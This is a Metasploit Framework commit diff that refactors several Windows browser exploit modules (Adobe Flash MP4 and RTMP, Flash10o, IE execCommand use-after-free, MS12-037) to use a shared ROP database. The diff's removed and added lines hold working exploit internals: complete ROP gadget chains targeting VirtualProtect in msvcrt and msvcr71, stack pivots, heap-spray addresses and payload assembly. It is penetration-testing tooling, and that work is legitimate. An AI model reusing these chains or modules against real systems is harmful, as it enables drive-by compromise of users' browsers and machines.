Skip to content

Commit 2aa5962

Browse files
committed
Merge branch 'ropdb_for_browsers' of https://github.com/wchen-r7/metasploit-framework into wchen-r7-ropdb_for_browsers
2 parents a60851e + 21ea77f commit 2aa5962

File tree

8 files changed

+41
-376
lines changed

8 files changed

+41
-376
lines changed

modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb

Lines changed: 4 additions & 58 deletions
Original file line numberDiff line numberDiff line change
@@ -11,7 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = NormalRanking
1212

1313
include Msf::Exploit::Remote::HttpServer::HTML
14-
14+
include Msf::Exploit::RopDb
1515
include Msf::Exploit::Remote::BrowserAutopwn
1616
autopwn_info({
1717
:os_name => OperatingSystems::WINDOWS,
@@ -127,10 +127,6 @@ def junk(n=4)
127127
return rand_text_alpha(n).unpack("V").first
128128
end
129129

130-
def nop
131-
return make_nops(4).unpack("V").first
132-
end
133-
134130
def get_payload(t, cli)
135131

136132
if t['Rop'].nil?
@@ -144,64 +140,14 @@ def get_payload(t, cli)
144140
# No rop. Just return the payload.
145141
return code if t['Rop'].nil?
146142

147-
# Both ROP chains generated by mona.py - See corelan.be
148-
case t['Rop']
149-
when :msvcrt
150-
print_status("Using msvcrt ROP")
151-
exec_size = code.length
152-
rop =
153-
[
154-
0x77c4e392, # POP EAX # RETN
155-
0x77c11120, # <- *&VirtualProtect()
156-
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
157-
junk,
158-
0x77c2dd6c,
159-
0x77c4ec00, # POP EBP # RETN
160-
0x77c35459, # ptr to 'push esp # ret'
161-
0x77c47705, # POP EBX # RETN
162-
exec_size, # EBX
163-
0x77c3ea01, # POP ECX # RETN
164-
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
165-
0x77c46100, # POP EDI # RETN
166-
0x77c46101, # ROP NOP (-> edi)
167-
0x77c4d680, # POP EDX # RETN
168-
0x00000040, # newProtect (0x40) (-> edx)
169-
0x77c4e392, # POP EAX # RETN
170-
nop, # NOPS (-> eax)
171-
0x77c12df9, # PUSHAD # RETN
172-
].pack("V*")
173-
174-
when :jre
175-
print_status("Using JRE ROP")
176-
exec_size = 0xffffffff - code.length + 1
177-
rop =
178-
[
179-
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
180-
exec_size, # Value to NEG
181-
0x7c347f98, # RETN (ROP NOP)
182-
0x7c3415a2, # JMP [EAX]
183-
0xffffffff,
184-
0x7c376402, # skip 4 bytes
185-
0x7c351e05, # NEG EAX # RETN
186-
0x7c345255, # INC EBX # FPATAN # RETN
187-
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
188-
0x7c344f87, # POP EDX # RETN
189-
0xffffffc0, # Value to negate, will become 0x00000040
190-
0x7c351eb1, # NEG EDX # RETN
191-
0x7c34d201, # POP ECX # RETN
192-
0x7c38b001, # &Writable location
193-
0x7c347f97, # POP EAX # RETN
194-
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
195-
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
196-
0x7c345c30, # ptr to 'push esp # ret '
197-
].pack("V*")
198-
end
143+
rop_name = (t['Rop'] and t['Rop'] == :msvcrt) ? 'msvcrt' : 'java'
144+
rop_target = (rop_name == 'msvcrt') ? 'xp' : ''
199145

200146
pivot = [t['ppr']].pack('V*') #POP/POP/RET
201147
pivot << [junk].pack('V*')
202148
pivot << [t.ret].pack('V*')
203149

204-
code = pivot + rop + code
150+
code = generate_rop_payload(rop_name, code, {'target'=>rop_target})
205151
return code
206152
end
207153

modules/exploits/windows/browser/adobe_flash_rtmp.rb

Lines changed: 4 additions & 38 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = NormalRanking
1212

1313
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
1415
include Msf::Exploit::Remote::BrowserAutopwn
1516

1617
autopwn_info({
@@ -122,53 +123,18 @@ def get_target(agent)
122123
end
123124
end
124125

125-
def junk(n=4)
126-
return rand_text_alpha(n).unpack("V").first
127-
end
128-
129-
def nop
130-
return make_nops(4).unpack("V").first
131-
end
132-
133126
def ret(t)
134127
return [ 0x77c4ec01 ].pack("V") # RETN (ROP NOP) # msvcrt.dll
135128
end
136129

137-
def popret(t)
138-
return [ 0x77c4ec00 ].pack("V") # POP EBP # RETN (ROP NOP) # msvcrt.dll
139-
end
140-
141130
def get_rop_chain(t)
142-
143-
# ROP chains generated by mona.py - See corelan.be
144131
print_status("Using msvcrt ROP")
145-
rop =
146-
[
147-
0x77c4e392, # POP EAX # RETN
148-
0x77c11120, # <- *&VirtualProtect()
149-
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
150-
junk,
151-
0x77c2dd6c,
152-
0x77c4ec00, # POP EBP # RETN
153-
0x77c35459, # ptr to 'push esp # ret'
154-
0x77c47705, # POP EBX # RETN
155-
0x00001000, # EBX
156-
0x77c3ea01, # POP ECX # RETN
157-
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
158-
0x77c46100, # POP EDI # RETN
159-
0x77c46101, # ROP NOP (-> edi)
160-
0x77c4d680, # POP EDX # RETN
161-
0x00000040, # newProtect (0x40) (-> edx)
162-
0x77c4e392, # POP EAX # RETN
163-
nop, # NOPS (-> eax)
164-
0x77c12df9, # PUSHAD # RETN
165-
].pack("V*")
132+
p = "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
133+
p << payload.encoded
166134

167135
code = ret(t)
168136
code << rand_text(119)
169-
code << rop
170-
code << "\xbc\x0c\x0c\x0c\x0c" #mov esp,0c0c0c0c ; my way of saying 'f you' to the problem
171-
code << payload.encoded
137+
code << generate_rop_payload('msvcrt', p, {'target'=>'xp'})
172138
offset = 2616 - code.length
173139
code << rand_text(offset)
174140
code << [ t['StackPivot'] ].pack("V")

modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb

Lines changed: 6 additions & 29 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote
1515
Rank = NormalRanking
1616

1717
include Msf::Exploit::Remote::HttpServer::HTML
18+
include Msf::Exploit::RopDb
1819

1920
def initialize(info={})
2021
super(update_info(info,
@@ -182,52 +183,28 @@ def on_request_uri(cli, request)
182183
end
183184

184185
#Targets that don't need ROP
185-
rop = ''
186186
pivot = "\xb8\x0c\x0c\x0c\x0c" #MOV EAX,0x0c0c0c0c
187187
pivot << "\xff\xe0" #JMP EAX
188188
pivot << "\x41" #Pad
189189

190190
#Targets that need ROP
191191
if my_target['Rop']
192-
#Target Addr=0x0c0c0c0c
193-
rop =
194-
[
195-
0x7c376402, # POP EBP # RETN [msvcr71.dll]
196-
0x7c376402, # skip 4 bytes [msvcr71.dll]
197-
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
198-
0xfffff800, # Value to negate, will become 0x00000201 (dwSize)
199-
0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
200-
0x7c354901, # POP EBX # RETN [msvcr71.dll]
201-
0xffffffff,
202-
0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
203-
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
204-
0x7c344f87, # POP EDX # RETN [msvcr71.dll]
205-
0xffffffc0, # Value to negate, will become 0x00000040
206-
0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
207-
0x7c34d201, # POP ECX # RETN [msvcr71.dll]
208-
0x7c38b001, # &Writable location [msvcr71.dll]
209-
0x7c34b8d7, # POP EDI # RETN [msvcr71.dll]
210-
0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
211-
0x7c364802, # POP ESI # RETN [msvcr71.dll]
212-
0x7c3415a2, # JMP [EAX] [msvcr71.dll]
213-
0x7c347f97, # POP EAX # RETN [msvcr71.dll]
214-
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
215-
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
216-
0x7c345c30, # ptr to 'push esp # ret ' [msvcr71.dll]
217-
].pack("V*")
218-
219192
#Target Addr=0x11111110
220193
pivot =
221194
[
222195
0x0c0c0c0c, # Padding. Value for ESP after the XCHG pivot
223196
my_target['Pivot'], # ROP Pivot
224197
0x7c346b52, # EAX (POP ESP; RETN)
225198
].pack('V*')
199+
200+
#Target Addr=0x0c0c0c0c
201+
p = generate_rop_payload('java', payload.encoded)
202+
else
203+
p = rop + payload.encoded
226204
end
227205

228206
arch = Rex::Arch.endian(my_target.arch)
229207

230-
p = rop + payload.encoded
231208
shellcode = Rex::Text.to_unescape(p, arch)
232209
pivot = Rex::Text.to_unescape(pivot, arch)
233210

modules/exploits/windows/browser/ie_execcommand_uaf.rb

Lines changed: 6 additions & 48 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = GoodRanking
1212

1313
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
1415
include Msf::Exploit::Remote::BrowserAutopwn
1516
autopwn_info({
1617
:ua_name => HttpClients::IE,
@@ -138,31 +139,9 @@ def get_payload(t, cli)
138139
0x77c4e392, # POP EAX # RETN
139140
0x77c15ed5, # XCHG EAX, ESP # RETN
140141
].pack("V*")
141-
rop =
142-
[
143-
0x77C21891, # POP ESI # RETN
144-
0x0c0c0c04, # ESI
145-
0x77c4e392, # POP EAX # RETN
146-
0x77c11120, # <- *&VirtualProtect()
147-
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
148-
junk,
149-
0x77c2dd6c, # XCHG EAX,ESI # ADD [EAX], AL # RETN
150-
0x77c4ec00, # POP EBP # RETN
151-
0x77c35459, # ptr to 'push esp # ret'
152-
0x77c47705, # POP EBX # RETN
153-
exec_size, # EBX
154-
0x77c3ea01, # POP ECX # RETN
155-
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
156-
0x77c46100, # POP EDI # RETN
157-
0x77c46101, # ROP NOP (-> edi)
158-
0x77c4d680, # POP EDX # RETN
159-
0x00000040, # newProtect (0x40) (-> edx)
160-
0x77c4e392, # POP EAX # RETN
161-
nop, # NOPS (-> eax)
162-
0x77c12df9, # PUSHAD # RETN
163-
].pack("V*")
142+
rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})
164143

165-
when :jre
144+
else
166145
print_status("Using JRE ROP")
167146
exec_size = 0xffffffff - code.length + 1
168147
if t['Random']
@@ -179,31 +158,10 @@ def get_payload(t, cli)
179158
0x7c348b05 # XCHG EAX, ESP # RET
180159
].pack("V*")
181160
end
182-
rop =
183-
[
184-
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
185-
exec_size, # Value to negate, will become 0x00000201 (dwSize)
186-
0x7c347f98, # RETN (ROP NOP)
187-
0x7c3415a2, # JMP [EAX]
188-
0xffffffff,
189-
0x7c376402, # skip 4 bytes
190-
0x7c351e05, # NEG EAX # RETN
191-
0x7c345255, # INC EBX # FPATAN # RETN
192-
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
193-
0x7c344f87, # POP EDX # RETN
194-
0xffffffc0, # Value to negate, will become 0x00000040
195-
0x7c351eb1, # NEG EDX # RETN
196-
0x7c34d201, # POP ECX # RETN
197-
0x7c38b001, # &Writable location
198-
0x7c347f97, # POP EAX # RETN
199-
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
200-
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
201-
0x7c345c30, # ptr to 'push esp # ret '
202-
].pack("V*")
161+
rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})
203162
end
204163

205-
code = stack_pivot + rop + code
206-
return code
164+
return rop_payload
207165
end
208166

209167
# Spray published by corelanc0d3r
@@ -313,7 +271,7 @@ def load_html1(cli, my_target)
313271
<iframe src="#{this_resource}/#{@html2_name}"></iframe>
314272
<script>
315273
#{js}
316-
</script>
274+
</script>
317275
</body>
318276
</html>
319277
|

modules/exploits/windows/browser/ms12_037_same_id.rb

Lines changed: 8 additions & 57 deletions
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Exploit::Remote
1111
Rank = NormalRanking
1212

1313
include Msf::Exploit::Remote::HttpServer::HTML
14+
include Msf::Exploit::RopDb
1415

1516
def initialize(info={})
1617
super(update_info(info,
@@ -105,14 +106,6 @@ def get_target(agent)
105106
end
106107
end
107108

108-
def junk(n=4)
109-
return rand_text_alpha(n).unpack("V").first
110-
end
111-
112-
def nop
113-
return make_nops(4).unpack("V").first
114-
end
115-
116109
def ret(t)
117110
case t['Rop']
118111
when :msvcrt
@@ -132,63 +125,21 @@ def popret(t)
132125
end
133126

134127
def get_rop_chain(t)
128+
pivot = ret(t) * 27
129+
pivot << popret(t)
130+
pivot << [t.ret].pack("V") # stackpivot
135131

136-
adjust = ret(t) * 27
137-
adjust << popret(t)
138-
adjust << [t.ret].pack("V") # stackpivot
139-
140-
# Both ROP chains generated by mona.py - See corelan.be
141132
case t['Rop']
142133
when :msvcrt
143134
print_status("Using msvcrt ROP")
144-
rop =
145-
[
146-
0x77c4e392, # POP EAX # RETN
147-
0x77c11120, # <- *&VirtualProtect()
148-
0x77c2e493, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
149-
junk,
150-
0x77c2dd6c,
151-
0x77c4ec00, # POP EBP # RETN
152-
0x77c35459, # ptr to 'push esp # ret'
153-
0x77c47705, # POP EBX # RETN
154-
0x00001000, # EBX
155-
0x77c3ea01, # POP ECX # RETN
156-
0x77c5d000, # W pointer (lpOldProtect) (-> ecx)
157-
0x77c46100, # POP EDI # RETN
158-
0x77c46101, # ROP NOP (-> edi)
159-
0x77c4d680, # POP EDX # RETN
160-
0x00000040, # newProtect (0x40) (-> edx)
161-
0x77c4e392, # POP EAX # RETN
162-
nop, # NOPS (-> eax)
163-
0x77c12df9, # PUSHAD # RETN
164-
].pack("V*")
135+
rop = generate_rop_payload('msvcrt', '', {'target'=>'xp', 'pivot'=>pivot})
165136

166-
when :jre
137+
else
167138
print_status("Using JRE ROP")
168-
rop =
169-
[
170-
0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
171-
0x00001000, # (dwSize)
172-
0x7c347f98, # RETN (ROP NOP)
173-
0x7c3415a2, # JMP [EAX]
174-
0xffffffff,
175-
0x7c376402, # skip 4 bytes
176-
0x7c345255, # INC EBX # FPATAN # RETN
177-
0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
178-
0x7c344f87, # POP EDX # RETN
179-
0x00000040, # flNewProtect
180-
0x7c34d201, # POP ECX # RETN
181-
0x7c38b001, # &Writable location
182-
0x7c347f97, # POP EAX # RETN
183-
0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
184-
0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
185-
0x7c345c30, # ptr to 'push esp # ret '
186-
].pack("V*")
139+
rop = generate_rop_payload('java', '', {'pivot'=>pivot})
187140
end
188141

189-
code = adjust
190-
code << rop
191-
return code
142+
return rop
192143

193144
end
194145

0 commit comments

Comments
 (0)